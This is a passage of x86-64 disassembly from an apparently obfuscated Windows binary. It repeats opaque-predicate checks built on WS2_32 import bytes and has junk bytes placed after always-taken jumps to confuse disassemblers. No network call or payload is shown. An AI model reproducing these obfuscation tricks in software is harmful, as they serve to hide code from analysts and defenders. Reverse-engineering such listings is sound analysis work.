movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, 4
cmp edx, 3
jne 0x14039dabd
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si eax, xmm5
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x24]
cdqe
mov dword [rsp + rax*4 + 0x34], r8d
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx ecx, byte [0x1406101b0]
movsx ecx, cl
lea ecx, [rcx + rcx*2]
lea eax, [rax + rcx*8]
cmp eax, 3
je 0x14039d23a
mov eax, dword [rsp + 0x24]
cdqe
mov ecx, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039db06
add byte [rdi], cl
mov dh, 5
lfs esp, [rsi]
add byte [rdi], cl
mov esi, 0xe4570fc0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm0
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039db8c
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, 4
cmp edx, 3
jne 0x14039dbe1
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si r8d, xmm5
mov eax, dword [rsp + 0x24]
cdqe
mov r9d, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039dbf2
add byte [rdi], cl
mov dh, 5
and esi, dword [rbx - 0x41f0ffda]
ror byte [rdi], 0x57
in al, 0xf2
cvtpi2ps xmm4, mm0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm0
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039d1d0
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, 4
cmp edx, 3
je 0x14039d1d0
jmp 0x14039d224
movsd xmm0, qword [0x14057f8d0]
movsd xmm1, qword [0x14057f8c8]
movsd xmm2, qword [0x14057f8c0]
movsd xmm3, qword [0x14057f8b8]
jmp 0x14039dd2a
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si eax, xmm5
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x24]
cdqe
mov dword [rsp + rax*4 + 0x34], r8d
inc dword [rsp + 0x24]
mov eax, dword [rsp + 0x24]
test eax, eax
jne 0x14039bb7a
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx ecx, byte [0x1406101b0]
movsx ecx, cl
lea ecx, [rcx + rcx*2]
add ecx, eax
cmp ecx, 3
je 0x14039df37
mov eax, dword [rsp + 0x24]
cdqe
mov ecx, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039dd5c
add byte [rdi], cl
mov dh, 5
mov ecx, 0xf0026b1
mov esi, 0xe4570fc0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm3
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039dde2
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, 4
cmp edx, 3
jne 0x14039de37
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si r8d, xmm5
mov eax, dword [rsp + 0x24]
cdqe
mov r9d, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039de48
add byte [rdi], cl
mov dh, 5
int 0xb0
add byte es:[rdi], cl
mov esi, 0xe4570fc0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm3
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039decd
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, 4
cmp edx, 3
jne 0x14039df21
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si eax, xmm5
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x24]
cdqe
mov dword [rsp + rax*4 + 0x34], r8d
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx ecx, byte [reloc.WS2_32.dll_htonl]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [reloc.WS2_32.dll_accept]
movsx ecx, cl
cmp eax, ecx
je 0x14039e5b3
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx ecx, byte [0x1406101b0]
movsx ecx, cl
lea ecx, [rcx + rcx*2]
lea eax, [rax + rcx*2]
cmp eax, 3
je 0x14039e172
mov eax, dword [rsp + 0x24]
cdqe
mov ecx, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039df97
add byte [rdi], cl
mov dh, 5
jle 0x14039df4b
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
add byte es:[rdi], cl
mov esi, 0xe4570fc0
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm2
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039e01d
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, 4
cmp edx, 3
jne 0x14039e072
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si r8d, xmm5
mov eax, dword [rsp + 0x24]
cdqe
mov r9d, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039e083
add byte [rdi], cl
mov dh, 5
xchg edx, eax
scasb al, byte [rdi]
add byte es:[rdi], cl
mov esi, 0xe4570fc0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm2
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039e108
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, 4
cmp edx, 3
jne 0x14039e15c
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si eax, xmm5
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x24]
cdqe
mov dword [rsp + rax*4 + 0x34], r8d
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx ecx, byte [0x1406101b0]
movsx ecx, cl
lea edx, [rcx + rcx*4]
lea ecx, [rcx + rdx*4]
add ecx, eax
cmp ecx, 3
je 0x14039e382
mov eax, dword [rsp + 0x24]
cdqe
mov ecx, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039e1a7
add byte [rdi], cl
mov dh, 5
outsb dx, byte [rsi]
lodsd eax, dword [rsi]
add byte es:[rdi], cl
mov esi, 0xe4570fc0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm1
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039e22d
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, 4
cmp edx, 3
jne 0x14039e282
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si r8d, xmm5
mov eax, dword [rsp + 0x24]
cdqe
mov r9d, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039e293
add byte [rdi], cl
mov dh, 5
invalid
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm1
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039e318
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, 4
cmp edx, 3
jne 0x14039e36c
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si eax, xmm5
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x24]
cdqe
mov dword [rsp + rax*4 + 0x34], r8d
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx ecx, byte [reloc.WS2_32.dll_htonl]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [reloc.WS2_32.dll_accept]
movsx ecx, cl
cmp eax, ecx
je 0x14039e5b3
mov eax, dword [rsp + 0x24]
cdqe
mov ecx, dword [rsp + rax*4 + 0x34]
mov eax, dword [rsp + 0x24]
add eax, 0xffffff86
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
xor rax, rax
je 0x14039e3cd
add byte [rdi], cl
mov dh, 5
stosq qword [rdi], rax
add byte es:[rdi], cl
mov esi, 0xed570fc0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
cvtsi2sd xmm6, eax
addsd xmm6, xmm6
subsd xmm5, xmm6
mulsd xmm5, xmm4
movsd qword [rsp + 0x28], xmm5
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039e450
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, 4
cmp edx, 3
jne 0x14039e4a5
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si r8d, xmm5
mov eax, dword [rsp + 0x24]
cdqe
mov r9d, dword [rsp + rax*4 + 0x34]
mov eax, dword [rsp + 0x24]
add eax, 0xffffff86
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
xor rax, rax
je 0x14039e4c4
add byte [rdi], cl
mov dh, 5
push rcx
stosb byte [rdi], al
add byte es:[rdi], cl
mov esi, 0xed570fc0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm6, xmm6
cvtsi2sd xmm6, eax
addsd xmm6, xmm6
subsd xmm5, xmm6
mulsd xmm5, xmm4
movsd qword [rsp + 0x28], xmm5
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039e549
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, 4
cmp edx, 3
jne 0x14039e59d
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si eax, xmm5
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x24]
cdqe
mov dword [rsp + rax*4 + 0x34], r8d
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx ecx, byte [0x1406101b0]
movsx ecx, cl
lea ecx, [rcx + rcx*2]
lea eax, [rax + rcx*8]
cmp eax, 3
je 0x14039dd1a
mov eax, dword [rsp + 0x24]
cdqe
mov ecx, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039e5e6
add byte [rdi], cl
mov dh, 5
invalid
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm0
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039e66c
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, 4
cmp edx, 3
jne 0x14039e6c1
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si r8d, xmm5
mov eax, dword [rsp + 0x24]
cdqe
mov r9d, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039e6d2
add byte [rdi], cl
mov dh, 5
test al, 0x26
add byte [rdi], cl
mov esi, 0xe4570fc0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm0
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039dcb0
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, 4
cmp edx, 3
je 0x14039dcb0
jmp 0x14039dd04
movsd xmm0, qword [0x14057f8d0]
movsd xmm1, qword [0x14057f8c8]
movsd xmm2, qword [0x14057f8c0]
movsd xmm3, qword [0x14057f8b8]
jmp 0x14039e80a
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si eax, xmm5
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x24]
cdqe
mov dword [rsp + rax*4 + 0x34], r8d
inc dword [rsp + 0x24]
mov eax, dword [rsp + 0x24]
test eax, eax
jne 0x14039bbaf
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx ecx, byte [0x1406101b0]
movsx ecx, cl
lea ecx, [rcx + rcx*2]
add ecx, eax
cmp ecx, 3
je 0x14039ea17
mov eax, dword [rsp + 0x24]
cdqe
mov ecx, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039e83c
add byte [rdi], cl
mov dh, 5
fldenv [rsi - 0x41f0ffda]
ror byte [rdi], 0x57
in al, 0xf2
cvtpi2ps xmm4, mm0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm3
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039e8c2
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, 4
cmp edx, 3
jne 0x14039e917
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si r8d, xmm5
mov eax, dword [rsp + 0x24]
cdqe
mov r9d, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039e928
add byte [rdi], cl
mov dh, 5
in eax, dx
movsd dword [rdi], dword [rsi]
add byte es:[rdi], cl
mov esi, 0xe4570fc0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm3
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039e9ad
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, 4
cmp edx, 3
jne 0x14039ea01
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si eax, xmm5
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x24]
cdqe
mov dword [rsp + rax*4 + 0x34], r8d
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx ecx, byte [reloc.WS2_32.dll_htonl]
movsx ecx, cl
xor edx, edx
div ecx
